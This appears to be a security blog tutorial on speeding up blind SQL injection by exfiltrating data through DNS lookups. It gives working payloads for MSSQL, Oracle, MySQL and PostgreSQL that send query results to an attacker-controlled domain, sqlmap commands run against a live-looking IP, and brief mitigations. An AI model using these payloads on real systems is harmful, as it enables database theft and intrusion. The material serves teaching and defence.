Data Exfiltration with DNS in SQLi attacks

Hello everyone, in this post we are going to use DNS for data ex-filtration to fasten (time based) blind sql injection attacks or make exploitation possible even on random delayed networks/applications. So let us start with basics of DNS.

DNS

DNS is the Domain Name System, which resolves given human readable and easy to understand addresses to ipv4/v6 equivalents or redirects you to other addresses. Most of you most probably know that it is used in attacks like DNS tunneling, in scenarios where one can perform dns queries on arbitrary DNS servers and has his/her own DNS server so that he captures all queries to a specific domain and uses it to extract information from target systems or communicate with forbidden parties. How this achieved can be summarized with the following schema:

The client behind the firewall, which forbids connections to a remote network, can use DNS to pass beyond the firewall and communicate with forbidden party since connection is bidirectional. As can be sen from above all the client does is trying to resolve subdomains of a specific domain(dnstunnel.com in the given example) and send information using the subdomain name while receiving information with the response to the query. There are lots of automated tools to perform those operations like iodine, which also performs those operations in somewhat encrypted manner to make sure data being exfiltrated cannot be detected by plaintext filters.

Using DNS in SQLi Attacks

So the method we are going to use has the same structure as the one defined above, all we need is a way to perform those queries within the DBMS(database management system). Fortunately(or may be unfortunately?) almost every DBMS provides a way to perform DNS queries and even receive responses; our attack schema will be going to look like this:

So there is a vulnerable web server, which has SQLi vulnerability, possibly time based blind otherwise we do not need to go into much trouble usually, since in time based injection attacks it takes really really long periods of time to exfiltrate all the data, and also things might get even naughtier if the network is delayed, but one still can choose to use that method to make sure that the data exfiltrated from the server is not being caught in some filters or logs. We perform SQLi as we always would with just a little addition instead of fetching the query results directly, we fetch them and append our domain to the exfiltrated data so there will be a DNS request to our server with the desired data given in the subdomain name. By that means, we no longer need to examine server’s http response, neither statistically to see whether our expression was true so the server slept or contextually to parse the exfiltrated data from the response.

Now, we get to the most critical part of our attack: How to perform those DNS queries in SQL? It unfortunately depends on the target DBMS; there is no single universal method defined in standard SQL which performs those queries but let us examine most popular DBMSes:

  • MsSQL: we can simply use master.dbo.xp_dirtree functionality to perform DNS queries. Main purpose of that operation is to get files under a directory but it also allows remote directory access so we can give our domain to function and get results. Syntax looks like this:
    DECLARE @data varchar(1024);
    SELECT @data = (SELECT foo FROM bar);
    EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\foo$"');

    We can also use functions like, xp_fileexists and xp_subdirs if anything is wrong with other methods; they are syntatically same.

  • Oracle: there are UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB and DBMS_LDAP.INIT each of these functions perform name resolution and one of the example use case is:
    SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||'.attacker.com',80) FROM DUAL;
  • MySQL: LOAD_FILE can be used to resolve a domain name;
    SELECT LOAD_FILE(CONCAT('\\\\', (SELECT foo FROM bar), '.attacker.com'));
  • PostgreSQL: for postgresql we can use the COPY function, it basically reads a file and copies its contents into a table, syntax is like this:
    DROP TABLE IF EXISTS table_output;
    CREATE TABLE table_output(content text);
    CREATE OR REPLACE FUNCTION temp_function()
    RETURNS VOID AS $$
    DECLARE exec_cmd TEXT;
    DECLARE query_result TEXT;
    BEGIN
        SELECT INTO query_result (SELECT foo FROM bar);
        exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\foobar.txt\'';
        EXECUTE exec_cmd;
    END;
    $$ LANGUAGE plpgsql SECURITY DEFINER;
    SELECT temp_function();

Showcase using sqlmap

Let’s first try to fetch all database names from a mssql backend dbms. Our sqlmap command will look like this:

sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3

And we can see output of the command:

There are only 5 databases with a total of 31 character names. And even the network was fast (had only 2 seconds of true response delay) it took more than 5 minutes to exfiltrate all of these 31 characters. Now let’s try again with dns exfiltration method; we control the opendns.online domain so all requests to its subdomains comes to our machine, which is the necessary condition for our attack to work. So our command looks like this:

sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3 --dns-domain opendns.online

We just added –dns-domain parameter with our controlled domain. Now let us look at the output:

WOW! We received all the information, 31 characters + 1 (# of databases) in just 10 seconds, whereas it took more than 5 minutes(300 seconds) without dns exfiltration method we gained almost 30x speedup with the help of dns exfiltration. While these injections are performed we can look at the dns queries coming to us using tcpdump:

tcpdump -i eth0 -s 0 -A -vvv 'udp and dst port 53'

This tells tcpdump to record all trafic coming to port 53/udp, and output looks like this for the attack performed above:

As we can see, sqlmap puts the query response between two random strings and appends our domain name to it to perform a dns request. Afterwards by the help of those random strings it can understand which request is reponse to a specific query and generate the result accordingly.

Mitigation

As we all know, the first step should be about preventing SQLi vulnerability, but it is too trivial all you need to do is use the prepared statements, no matter what is your framework. But let’s look at the things from network site. One of the obvious prevention methods is to disable all connections to udp port 53(dns port) but it is not a wise choice since the system would no longer be able to query any domain names. We need to be smarter than that, so we can analyze all outgoing traffic on port 53 and disable aggressive users, we can define a threshold and if a user tries to perform more queries than that in a given time window we generate an event to disable that user. It is not the best solution but it saves the day, event better than that instead of disabling the user in your network you can drop dns requests to domains which exceeds that threshold that way you wouldn’t block normal lookups.

Happy new year to you all!
References: